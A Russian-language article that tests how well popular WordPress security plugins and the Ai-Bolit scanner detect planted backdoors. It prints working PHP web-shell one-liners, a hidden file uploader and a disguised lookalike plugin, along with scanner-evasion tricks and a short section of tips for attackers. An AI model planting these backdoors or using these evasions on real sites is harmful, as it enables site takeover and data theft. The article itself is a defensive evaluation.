Можно или нельзя доверять WordPress и его плагинам

WordPress — самая распространенная система управления сайтом и по этой причине вызывает большой интерес у вирусописателей и хакеров. В сегодняшней статье мы поговорим о защите WordPress.

Проанализируем работу самых популярных плагинов для защиты WordPress в базовой комплектации по принципу «установил из репозитория и запустил», то есть глазами простого пользователя, без платных подписок и расширенных версий. А еще рассмотрим некоторые мифы, касающиеся качества плагинов и тем из официального репозитория. «Закладки» будут самыми простыми и без использования обфускации — для удобства эксперимента.

Если верить статистике, под управлением движка WordPress работают более трети сайтов в сети. Оно и понятно: данная CMS бесплатная, поддерживается сообществом, простая, с кучей платных и бесплатных плагинов и тем оформления. Но со всеми этими плюсами есть и довольно большой минус — безопасность WordPress.

Как правило взломы сайтов работающих на WordPress носят автоматизированный характер. Причина этого — простота применения того или иного эксплоита и количество уязвимых ресурсов. WordPress и по количеству «пробивов» также уверенно держит ведущие позиции, из-за чего на фриланс-биржах и компьютерных форумах практически ежедневно можно найти объявления об очередном взломе, с просьбами вычистить вирусы и другой зловредный код и восстановить работоспособность поврежденного сайта.

Специфика WordPress такова, что осмысленно модифицировать большую часть файлов ядра бесполезно, так как при обновлении или форсированной переустановке будут восстановлены оригинальные файлы, да и плагины для защиты WordPress в большинстве своем уже давно умеют выявлять эти самые модификации и предупреждать о них в отчетах.

То же самое касается тем и плагинов из репозитория: любые изменения будут выявлены либо через сравнение хеш-сумм файлов, либо через дату изменения. Иными словами, при целенаправленном взломе WordPress-сайта эффективная область заражения сильно сужается, дабы внедренный код оставался незамеченным как можно дольше. А вот спам- и Black SEO скрипты, которые в принципе не рассчитаны на продолжительную работу на скомпрометированном ресурсе, чаще всего засоряют все подряд и без разбора. Такое ПО довольно легко узнать «по почерку»: рандомные символы в названиях директорий, большое количество на первый взгляд бессмысленных файлов, частичная или полная обфускация кода.

«Black SEO», «черное» SEO — вид поисковой оптимизации, основывающийся на применении явно запрещенных и недобросовестных методов продвижения. Основные методики «черного» SEO: дорвеи, клоакинг, линкопомойки, избыток рекламы, JavaScript-редиректы и прочее. Именно в эти чудеса поисковой оптимизации зачастую и превращаются взломанные сайты на WordPress.

Нередко именно эти отличительные черты и позволяют даже обычному пользователю довольно оперативно заметить, что с сайтом творится неладное. Однако восстановление сайта может сильно затянуться как раз из-за объемов вредоносного кода, засорения поисковой выдачи или наложенных на домен или IP-адрес санкций. В общем, такая работа вредоносов далека от ювелирной, а защитить WordPress и себя от этой головной боли зачастую можно просто своевременным обновлением движка и темы с плагинами.

Основной же и самый болезненный удар при заражении сайта под управлением WordPress приходится на директорию /wp-content/. Исключение в последнее время составляет разве что директория /wp-content/uploads/, которую все чаще стали закрывать от выполнения PHP-кода, что в целом логично, хотя и может в единичных случаях создавать неудобства. Внутри /wp-content/ хранятся и используемые темы оформления, и плагины, и файлы кеша, и даже логи с бэкапами, если в админке установлены соответствующие настройки.

Плагины, особенно если они не обновляются довольно долгое время, частенько и становятся точкой входа для злоумышленника, в то время как директория с темами /wp-content/themes/ отлично подходит для внедрения, к примеру, бэкдора. Почему не наоборот? Потому что с плагинами связана некая «текучка»: сегодня владельцу ресурса нужны одни возможности, а завтра он передумает и все удалит, установив что-то новое. С темами оформления такой динамики почти не бывает, что заметно снижает шанс, что вредоносный код удалят и доступ к ресурсу через тот же бэкдор будет потерян. По этой причине выгоднее получать доступ в систему через какой-то уязвимый плагин, а вредоносный код прятать где-то в недрах директории /wp-content/themes/.

Изучением уязвимостей в WordPress специалисты по информационной безопасности и частные исследователи занимаются давно и довольно плотно. Вот несколько ссылок для самостоятельного изучения:

https://wpvulndb.com — полезный ресурс, посвященный уязвимостям WordPress: движок, плагины, темы.
https://github.com/wpscanteam/wpscan/ — наиболее популярный и бесплатный сканер уязвимостей WordPress.
https://wordpress.org/plugins/wpscan/ — плагин для WordPress, который сканирует сайт на предмет использования уязвимых версий движка, тем и плагинов по базе WPScan Vulnerability Database.

Занимающиеся защитой WordPress эксперты порой незаслуженно обходят вниманием два файла, если они есть в корневой директории:

wp-config.php
wp-config-sample.php

Первый интересен тем, что его довольно часто редактируют и система, и сам пользователь, и различные плагины. По этой причине некоторые сканеры пропускают его как валидный по умолчанию. Практика показывает, что в большинстве случаев вредоносный код там не вызывает подозрений (речь не про обфусцированный веб-шелл, разумеется), и это играет на руку злоумышленникам.

Второй файл wp-config-sample.php вызывает восторг одним своим наличием, так как система использует его всего один раз в виде шаблона при установке WordPress, да и удалять его вручную ни пользователи, ни разработчики не спешат, что также играет на руку хакерам.

Если хотя бы один из этих двух файлов есть в корневой директории сайта, то он также отлично подойдет для внедрения вредоносного кода, хоть это решение и будет «под носом» у владельца, да и запросы к этому файлу в логах сервера могут все же вызвать подозрения.

В общем, «слепых зон» у данной CMS немало, и даже принудительно внедренный в админку раздел под названием «Здоровье сайта» революции не произвел (не говоря о том, что в нем есть весьма спорные критерии и советы).

Мифы про защиту WordPress

Со временем вокруг WordPress сформировались устойчивые заблуждения, которые я условно назову мифами. Вот основные из них.

Миф №0: среди разработчиков, модераторов и завсегдатаев форума WP бытует мнение о высоком качестве попадающих в официальный репозиторий тем и плагинов, код которых якобы проходит многочисленные проверки, так что все это добро можно смело использовать на своих сайтах и особо ни о чем не беспокоиться о защите WordPress. Для сомневающихся в такой благодати есть классический способ усыпить бдительность: высокие показатели установок и положительные отзывы. Не могут же сотни тысяч пользователей ошибаться, верно?
Миф №1: CMS дает возможность за пару кликов обеспечить сайту надежность и защиту, не заплатив при этом ни копейки. Еще одно распространенное среди пользователей и предпринимателей заблуждение. Под предпринимателями подразумеваются те, кто использует этот движок в своем бизнесе.
Миф №2: на одном известном форуме не так давно были замечены занятные статьи, затрагивающие тематику безопасности различных CMS. Для защиты WordPress рекомендовали использовать плагины безопасности из репозитория, так как автор считает их лучшим и наиболее эффективным решением и сам пользуется ими для восстановления работоспособности скомпрометированных ресурсов. В других статьях для атаки на данную CMS были даны рекомендации, как заражать ресурсы и наиболее эффективно скрывать внедренный код. Суть рекомендаций сводилась к тому, чтобы напихать куда попало этих самых «закладок» в наиболее извращенной манере, и все это в теории позволит получить контроль над ресурсом в час икс.
Миф №3: премиум-решения (платные) лучше базовых (бесплатных).

А теперь я предлагаю взглянуть на более реальную картину, проверив теорию практикой. То есть экспериментом.

Подготовка WordPress

Все стандартно: штатная установка, далее сразу удаляем ненужный плагин Akismet Anti-Spam и любые две темы из трех доступных. Hello Dolly пока не трогаем, позже расскажу почему. В итоге получаем «чистый» WordPress с единственным изменением в файле wp-config.php:

define( 'WP_DEBUG', true );
define( 'WP_DEBUG_DISPLAY', false );
define( 'WP_DEBUG_LOG', 'wp-content/versa-debug-log.txt' );

Первая строка включает в WordPress режим отладки, вторая отключает отображение сообщений об ошибках, третья позволяет вести лог работы движка и сохранять его в файле журнала с заданным нами именем. Это не обязательный шаг, но для эксперимента и отслеживания ошибок лишним точно не будет.

Плагины для защиты WordPress

Может ли владелец скомпрометированного сайта самостоятельно справиться с последствиями взлома, не прибегая к найму специалиста?

В теории — да, может, и для этого существует огромное количество плагинов для защиты WordPress. Первым делом стоит поискать их в официальном репозитории WordPress по ключевым словам security и malware.

На почетном первом месте мы видим безусловного лидера — Wordfence Security – Firewall & Malware Scan компании Wordfence. Активная разработка, куча опций и настроек, более трех миллионов установок, средний рейтинг 4,8/5 баллов и 3177 положительных отзывов выглядят убедительно, правда?

Без платной подписки пользователю доступна вся базовая функциональность с использованием функций защиты Community-сигнатур: файрвол, сканер файлов на наличие вредоносного кода и изменений файлов ядра, управление аутентификацией и прочее. У данного вида сигнатур есть одна особенность — их обновление происходит с задержкой в 30 дней. Забегая вперед, могу сказать, что особой погоды эта задержка не делает. Тем не менее проверим работу плагина на простых «закладках» и посмотрим, оправданны ли столь высокие рейтинги.

На втором месте с сильным отрывом от лидера расположился плагин iThemes Security с более чем 900 000 активных установок. Эффективность выявления вредоносов этим плагином мы проверить не сможем, так как модуль сканера доступен только в PRO-версии. От себя замечу, что за несколько лет я довольно часто наблюдал и продолжаю наблюдать этот плагин безопасности на скомпрометированных ресурсах.

Третье место по популярности держит Sucuri Security — Auditing, Malware Scanner and Security Hardening — продукт компании Sucuri Inc., получивший рейтинг 4,4/5 баллов при 254 положительных отзывах и более чем 600 000 активных установок. Проверить эффективность выявления «закладок» этим инструментом мы также не сможем из-за необходимости платной подписки.

Четвертое место плагин для защиты WordPress — Anti-Malware Security and Brute-Force Firewall: более 200 000 активных установок, 595 положительных отзывов и рейтинг 4,9/5 баллов.

На пятом месте мы видим Cerber Security, Antispam & Malware Scan от Cerber Tech Inc. с более чем 100 000 активных установок, рейтингом 4,9/5 баллов и 375 положительными отзывами.

Сотни тысяч активных установок, высокие рейтинги и хвалебные отзывы — все прекрасно, но стоит ли это воспринимать буквально и доверять безопасность WordPress этому плагину?

Подготовленный к тестам «чистый» WordPress просканирован отдельно каждым плагином, что дало ожидаемый результат: ноль срабатываний в каждом отдельном случае, за исключением Anti-Malware Security and Brute-Force Firewall, который еще на старте дал восемь ложных срабатываний на файлы ядра движка.

Внедрение вредоносного кода в WordPress

На этой стадии мы начнем внедрять «закладки» в наш тестовый сайт. Для начала добавим самый простой и очевидный код, который заведомо будет без проблем выявлен, затем немного его скорректируем и продолжим отслеживать реакцию плагинов безопасности, если она будет.

wp-config.php — в самый конец файла добавляем строчку system($_GET["subversa"]);.
wp-config-sample.php — добавляем код passthru($_GET["subversa"]);exit(); обязательно перед строчкой require_once(ABSPATH . 'wp-settings.php' ); (чтобы не вызвать внутреннюю ошибку сервера при обращении к файлу).
/wp-content/index.php, /wp-content/plugins/index.php, /wp-content/themes/index.php — добавляем echo shell_exec($_GET["subversa"]); во все три файла.

Создадим отдельную тему и назовем ее, к примеру, Corrupted, после чего сделаем ее активной. Суть этого действия состоит в том, что такой темы в репозитории WordPress заведомо нет, следовательно, она будет считаться кастомной и ее не с чем будет сравнивать на предмет целостности и модификаций. Можно создать копию той темы, что мы оставили при подготовке WordPress.

Теперь мы модифицируем следующие ее файлы:

/wp-content/themes/corrupted/404.php — в этот файл часто внедряют загрузчик файлов, что довольно удобно. Я добавлю вот такой:<?php echo "<center><form style='display:none;' method='POST' enctype='multipart/form-data'><input type='file' name='file2upload'><input type='submit' name='upload' value='Upload'></form></center>";$files = $_FILES['file2upload']['name'];if(isset($_POST['upload'])){if(@copy($_FILES['file2upload']['tmp_name'], $files)){echo "Uploaded";}else{echo "Failed";}} ?>

В подобных случаях я не замечал добавление стиля вроде display:none;, который скрывает загрузчик от посторонних глаз, что довольно логично и практично.
В файл /wp-content/themes/corrupted/functions.php добавим require_once get_template_directory() . "/inc/ghostuser.php";.
В файл /wp-content/themes/corrupted/footer.php добавим <?php system($_GET["subversa"]);?>.

Оригинальную тему, что стала неактивной, также немного изменим.

В файле /wp-content/themes/twentysixteen/header.php — добавим сразу после ?><!DOCTYPE html> код загрузчика:<?php echo "<center><form style='display:none;' method='POST' enctype='multipart/form-data'><input type='file' name='file2upload'> <input type='submit' name='upload' value='Upload'></form></center>";$files = $_FILES['file2upload']['name'];if(isset($_POST['upload'])) {if(@copy($_FILES['file2upload']['tmp_name'], $files)){echo "Uploaded";}else{echo "Failed";}} exit();?>

Создадим файл /wp-content/themes/twentysixteen/inc/fakefile.php с таким содержимым: <?=`$_GET[s]`?>.

Также можно добавить в директорию /wp-content/ несколько веб-шеллов, чтобы посмотреть, будет ли на них какая-то реакция со стороны тестируемых плагинов. Эти веб-шеллы широко известны и пользуются популярностью уже много лет. Найти их в интернете не представляет большой сложности (хотя их и выпиливают с гитхаба с завидной регулярностью). Речь идет вот об этих скриптах:

/wp-content/subversa.php
/wp-content/simple.shtml
/wp-content/nbl.php
/wp-content/alfa—3.php
/wp-content/c—7.php
/wp-content/mini47.php
/wp-content/b-374-k.php
/wp-content/w50.php

И в качестве финального аккорда вернемся к плагину Hello Dolly. Вообще, почему этот плагин остается в комплекте поставки WordPress в наши дни — решительно непонятно. Это абсолютно бесполезный плагин, который еще и можно использовать в качестве «носителя» вредоносного кода, что делает ситуацию совсем странной, учитывая рекомендации из раздела «Здоровье сайта».

На скриншоте видно, что админпанель определила сразу два плагина Hello Dolly, которые визуально неразличимы. Здесь была проделана нехитрая манипуляция с буквой i: первый по порядку плагин на самом деле называется Hello DoIIy (файл heIIo.php — буквы ll заменены на заглавные ii), а вот второй как раз и есть оригинал. Заметить эксперименты с заглавными и строчными буквами можно, к примеру, в исходном коде страницы.

В нашем случае я модифицировал «клон» плагина так, чтобы при обращении к файлу heIIo.php создавался файл с названием /wp-content/shadow.php и кодом <?= $s="sy"."st"."em";$v=$_GET["subversa"];$s($v); ?> внутри. При желании можно «подогнать» под оригинал и размер файла, для большей убедительности. Забавно, правда?

Всего получилось 20 файлов с вредоносным кодом, которые должны без труда выявить плагины безопасности. Насчет веб-шеллов особых иллюзий питать не приходится, так как без обфускации плагины могут срабатывать почти на каждую строчку их кода, да и загрузчики файлов не должны вызвать особой паники у средств безопасности, поскольку сам по себе процесс загрузки файлов является легитимным и часто используется плагинами.

В качестве маленького бонуса я подключу простенький самописный cookie-стиллер на одной из страниц WordPress в виде отдельного скрипта, вызываемого тегом <script src=...

Сканирование WordPress

Wordfence Security – Firewall & Malware Scan

Запускаем первое сканирование в стандартном режиме и, затаив дыхание, ожидаем, что будет обнаружен весь внедренный код.

12/20. Что было обнаружено на самом деле:

wp-config.php — system();
wp-config-sample.php — passthru();
wp-content/nbl.php — веб-шелл;
wp-content/mini47.php — веб-шелл;
wp-content/alfa—3.php — веб-шелл;
wp-content/b-374-k.php — веб-шелл;
wp-content/w50.php — веб-шелл;
wp-content/c—7.php — веб-шелл;
wp-content/themes/index.php — shell_exec();
wp-content/plugins/index.php — shell_exec();
wp-content/index.php — shell_exec() + модификация файла ядра;
wp-content/themes/corrupted/footer.php — system().

Обратим внимание на то, как модуль сканирования распознает файлы /wp-content/index.php и /wp-content/themes/index.php с /wp-content/plugins/index.php: первый оценивается как модифицированный файл ядра и попадает в отчет дважды, а вот другие два уже нет. Почему — загадка. Справедливости ради замечу, что около полугода назад файл /wp-content/index.php также не считался файлом ядра.

Что не было обнаружено (8/20):

wp-content/subversa.php — веб-шелл;
wp-content/simple.shtml — веб-шелл;
wp-content/plugins/heIIo.php — поддельный плагин, записывающий код бэкдора в файл shadow.php;
wp-content/plugins/shadow.php — бэкдор;
wp-content/themes/corrupted/404.php — скрытый загрузчик файлов;
wp-content/themes/corrupted/header.php — require_once get_template_directory() . '/inc/ghostuser.php;
wp-content/themes/corrupted/inc/ghostuser.php — код, добавляющий скрытого администратора сайта;
wp-content/themes/twentysixteen/header.php — скрытый загрузчик файлов.

Вполне ожидаемо, что были выявлены наиболее популярные веб-шеллы, однако «мимо радаров» прошли загрузчики файлов вместе с require_once(). Интересно то, что два веб-шелла без обфускации под подозрение не попали совсем (к вопросу об избыточности кода).

Кроме того, весьма странно, что изменения темы Twenty Sixteen также не попали под подозрение, равно как и создание еще одного пользователя с правами администратора и последующим его сокрытием со страницы «Пользователи».

Хорошо, исключим шесть обнаруженных веб-шеллов из дальнейшей работы, а выявленные «закладки» попробуем доработать:

wp-config.php — меняем код на $sy=system;$sy($_GET["subversa"]);;
wp-config-sample.php — меняем код на $pt=passthru;$pt($_GET["subversa"]);exit();;
/wp-content/index.php, /wp-content/plugins/index.php, /wp-content/themes/index.php — меняем код на $sh=shell_exec;echo $sh($_GET["subversa"]); во всех трех файлах;
wp-content/themes/corrupted/footer.php — меняем код на $sy=system;$sy($_GET["subversa"]);.

После этого вновь запустим сканирование и посмотрим, будут ли выявлены эти «закладки» вновь.

На этот раз выявлено 2/14 угроз:

wp-content/themes/corrupted/footer.php — system();
/wp-content/index.php — модификация файла ядра.

Изменения файла /wp-content/index.php вызовут срабатывание в любом случае, поэтому возвращаем его к первоначальному виду, а «закладку» в файле wp-content/themes/corrupted/footer.php немного видоизменим и запустим повторное сканирование:

wp-content/themes/corrupted/footer.php — добавляем около 200 пробелов перед $sy=system;$sy($_GET["subversa"]);.

Результат превосходит все ожидания: 0/13.

Но это «стандартный» тип сканирования, а что будет на «параноидальном»? Включаем режим High Sensitivity в настройках сканирования и запускаем еще одну проверку.

Результат: 1/13.

Модуль сканирования выявил модификацию файла wp-content/themes/twentysixteen/header.php темы Twenty Sixteen. Причем уровень угрозы оценивается как Medium, то есть средний. Плагин ссылается на то, что модификацию файла мог выполнить и сам пользователь. Вообще огонь!

«Уплывшие» файлы cookies плагин Wordfence Security — Firewall & Malware Scan ни разу не заметил.

Sucuri Security — Auditing, Malware Scanner and Security Hardening

Шутки ради стоило запустить этот плагин безопасности, чтобы увидеть заключение по текущему состоянию сайта: All Core WordPress Files Are Correct. Хитрость этого решения в том, что модуль сканирования по базовым сигнатурам работает только при наличии годовой подписки, цена которой составляет от 200 долларов.

Anti-Malware Security and Brute-Force Firewall

Еще одно потрясающее решение, которое можно найти в репозитории. Итак, запускаем полную проверку и внимательно изучаем результат: 1768 файлов просканировано, 446 файлов пропущено (.CSS, .PNG, .GIF и так далее) и… выявлено восемь потенциальных угроз!

Вот эти опасные, по мнению плагина, файлы:

wp-admin/includes/class-pclzip.php
wp-includes/js/json2.js
wp-includes/js/json2.min.js
wp-includes/js/tw-sack.js
wp-includes/js/tw-sack.min.js
wp-includes/js/jquery/jquery.form.min.js
wp-includes/js/jquery/jquery.schedule.js
wp-includes/js/tinymce/tiny_mce_popup.js

В общем, восемь ложных срабатываний и ничего даже близко похожего на наши «закладки». Но не будем спешить с выводами, так как у данного плагина есть интересная опция, работающая «из коробки»: Upload PHP File Protection. У нас как раз есть загрузчики файлов, так что тест этой функции напрашивается сам собой.

После включения этого режима мы видим сообщение: You have been redirected here from hacked.wordpress which is protected by GOTMLS Anti-Malware. Неплохо! Файл mini_b374k.php он загрузить не дал, а вот смена расширения позволила веб-шеллу проскочить со свистом аж несколько раз: *.shtml, *.php5, *.php7 и так далее. Думаю, суть вы уловили.

Cerber Security, Antispam & Malware Scan

Пожалуй, самый интересный продукт из всех рассмотренных в статье. Менее чем за минуту выполнено полное сканирование, итогом которого стали 14 предупреждений. Итак, вот они:

wp-config.php — обнаружен подозрительный код (крит.);
wp-config-sample.php — несовпадение контрольной суммы файла (крит.);
wp-content/plugins/heIIo.php — обнаружен подозрительный код (крит.);
wp-content/themes/twentysixteen/inc/fakefile.php — не связанный с системой файл;
wp-content/themes/twentysixteen/header.php — несовпадение контрольной суммы файла (крит.);
wp-content/themes/twentysixteen/404.php — несовпадение контрольной суммы файла (крит.);
wp-content/themes/corrupted/functions.php — обнаружен подозрительный код (крит.);
wp-content/themes/corrupted/footer.php — обнаружен подозрительный код (крит.);
wp-content/plugins/index.php — обнаружен подозрительный код (крит.);
wp-content/themes/index.php — обнаружен подозрительный код (крит.);
wp-content/subversa.php — обнаружен вредоносный код (крит.);
wp-content/simple.shtml — обнаружен вредоносный код (крит.).

Еще два предупреждения касались плагина и темы, которых нет в репозитории, и, соответственно, целостность файлов не проверить — не с чем сравнивать.

Отличный результат, тем более что плагин не требует каких-то платных подписок для локального сканирования файлов. Разумеется, он не без изъянов: по своему опыту скажу, что обмануть «Цербера» можно с помощью все той же обфускации, да и загрузке файлов он даже не думает препятствовать, но это уже совсем другая история. Из того, что этот сторожевой пес пропустил:

wp-content/plugins/shadow.php — бэкдор;
wp-content/themes/corrupted/404.php — скрытый загрузчик файлов;
wp-content/themes/corrupted/inc/ghostuser.php — код, добавляющий скрытого администратора сайта.

Также есть возможность обманывать модуль сканирования, используя для модифицированных файлов команду touch с параметрами -a -m -t:

$ touch -a -m -t 201911081434.21 shadow.php

Этой командой дата и время доступа и изменения для файла shadow.php были установлены на 201911081434.21, то есть 2019 год, 11 — месяц, 08 — число, 14 — часы, 34 — минуты, 21 — секунды.

Защита WordPress с помощью «Ай-Болит»

Чтобы немного разнообразить ассортимент вредоносов и инструментов, я предлагаю оценить в деле работу популярнейшего «Ай-Болита», которого нахваливают сильнее всех перечисленных в статье плагинов безопасности, вместе взятых. А затем посмотреть на результат работы таких плагинов против спам-страниц, которых я закину на тестовый сайт чуть более 4000 штук.

Спам-страницы — это просто рекламные веб-страницы, содержащие текст с большим количеством поискового спама. Их я позаимствовал на одном из взломанных WordPress-сайтов, с которым мне пришлось разбираться некоторое время назад.

К CMS WordPress «Ай-Болит» прямого отношения не имеет, но многими он воспринимается как «волшебная таблетка» и даже иногда навязывается в качестве необходимой платной услуги некоторыми хостинг-компаниями, если сайт клиента был скомпрометирован.

Итак, скачиваем «Ай-Болит» для сайтов, загружаем файлы в корневую директорию тестового сайта и в консоли запускаем проверку:

$ php ai-bolit.php —skip=jpg,png,gif,jpeg,JPG,PNG,GIF,bmp,xml,zip,rar,css,avi,mov —mode=2 —size=2048K

Я добавил опцию пропуска файлов с расширениями jpg, png, gif, jpeg, JPG, PNG, GIF, bmp, xml, zip, rar, css, avi, mov, установил максимальный размер сканируемых файлов на 2048 Кбайт, а тип сканирования выбрал «параноидальный». К слову сказать, это единственный режим «Ай-Болита», в котором он способен найти хоть что-то, вываливая попутно кучу false positives, то есть ложных срабатываний. Отчего отчет после сканирования разбирать довольно муторно.

Казалось бы, для такого популярного и мощного инструмента это ерундовая задачка, но… из ~4000 спам-страниц выявлено менее 200 (то есть менее 5%), а из 14 закладок найдены всего 2 — загрузчики файлов (14,3%). Как видим, картина очень далека от идеальной, особенно учитывая возможность чуть «замаскировать» загрузчики файлов. Тогда счетчик выявленных «закладок», вероятно, вообще будет равен нулю.

При том же количестве спам-страниц плагины безопасности WordPress показали такие результаты:

Wordfence Security — Firewall & Malware Scan — 474 спам-страницы выявлено из ~4000 (при 39 967 проверенных ссылках), то есть 11,8%;
Anti-Malware Security and Brute-Force Firewall — выявлено 9 спам-страниц, то есть 0,2%;
Cerber Security, Antispam & Malware Scan — всего 6 спам-страниц, то есть 0,15%.

В общем, если воспринимать такого рода плагины как инструменты для обеспечения безопасности, то про эту самую безопасность можно благополучно забыть.

Выводы

Как вы могли убедиться, количество активных установок плагина и хвалебные отзывы ничего не говорят о качестве продукта. Равно как и наличие плагина в репозитории WordPress не гарантирует вообще ничего. Ежедневное пополнение WPScan Vulnerability Database новыми данными об уязвимых плагинах и темах тоже не гарантирует успешного выявления всех потенциальных угроз. Так о чем речь в итоге?

Если подумать над полученной информацией, то можно понять, что на самом деле нам не предлагают готовые самостоятельные решения, а показывают демоверсии сервисов, доступных по подписке. Иначе говоря, создавать и бесплатно распространять эффективный и мощный инструмент, выявляющий всевозможную вредоносный код, финансово невыгодно для любой компании.

О выгоде клиента, разумеется, речи вообще не идет: платите, и ваша проблема будет решаться штатными специалистами. Все бы хорошо, но с точки зрения клиента эта модель экономически оправданна, только если его сайт будут взламывать регулярно, тогда смысл платной подписки понятен. С другой же стороны, регулярные взломы при наличии подписки означают низкий уровень оказываемых услуг, что также вызывает вопросы. Замкнутый круг.

Как защитить WordPress? Вам решать, заплатить профессионалу за работу «под ключ», сидеть на платной подписке и кормить целую команду разработчиков или самостоятельно пытаться решить проблему «за пару кликов мышью» в надежде на благоприятный исход. Как по мне, лучше и выгоднее все же заранее нанять специалиста для аудита безопасности или, если сайт уже скомпрометирован, для восстановления работоспособности ресурса.

Взгляд со стороны атакующего

не надо внедрять «закладки» куда попало: по возможности изучите систему, которую атакуете, чтобы потом было меньше сюрпризов и неожиданностей;
говоря конкретно про CMS WordPress: забудьte о модификациях чего-либо в директориях /wp-admin/ и /wp-includes/, а также плагинов и тем из репозитория, равно как и файлов из корневой директории CMS — все ваши труды «смоются» при штатном обновлении или при форсированной переустановке движка;
проявляйте фантазию и изобретательность, но не забывайте, что краткость — сестра таланта. Иными словами, не надо пытаться внедрить как можно больше фишек в свой код, в перспективе усложняя себе этим жизнь. Простота, элегантность и нешаблонность мышления — наиболее выигрышная стратегия.

Взгляд со стороны защищающегося

откажитесь от всевозможных полумер при защите Wordrpress;
не стоит уповать на популярные «плагины безопасности» — это лишь подспорье (зачастую сомнительное), но не решение на все случаи жизни;
«варез» на ваших проектах — это выстрел себе же в ногу (или в обе сразу);
если вы работаетес программистом и принимаете проект, то старайтесь не портить с ним отношения и не мудрить с оплатой — это уменьшает ваши шансы принять сайт с неприятными бонусами в виде «закладок»;
техподдержка большинства хостинг-компаний откажет вам в восстановлении ресурса, если тот был скомпрометирован, зато с большой вероятностью предложит платную услугу чистки сайта тем же «Ай-Болитом»;
о бэкапах надо позаботиться заранее — это прописная истина, которую частенько напрасно игнорируют владельцы сайтов.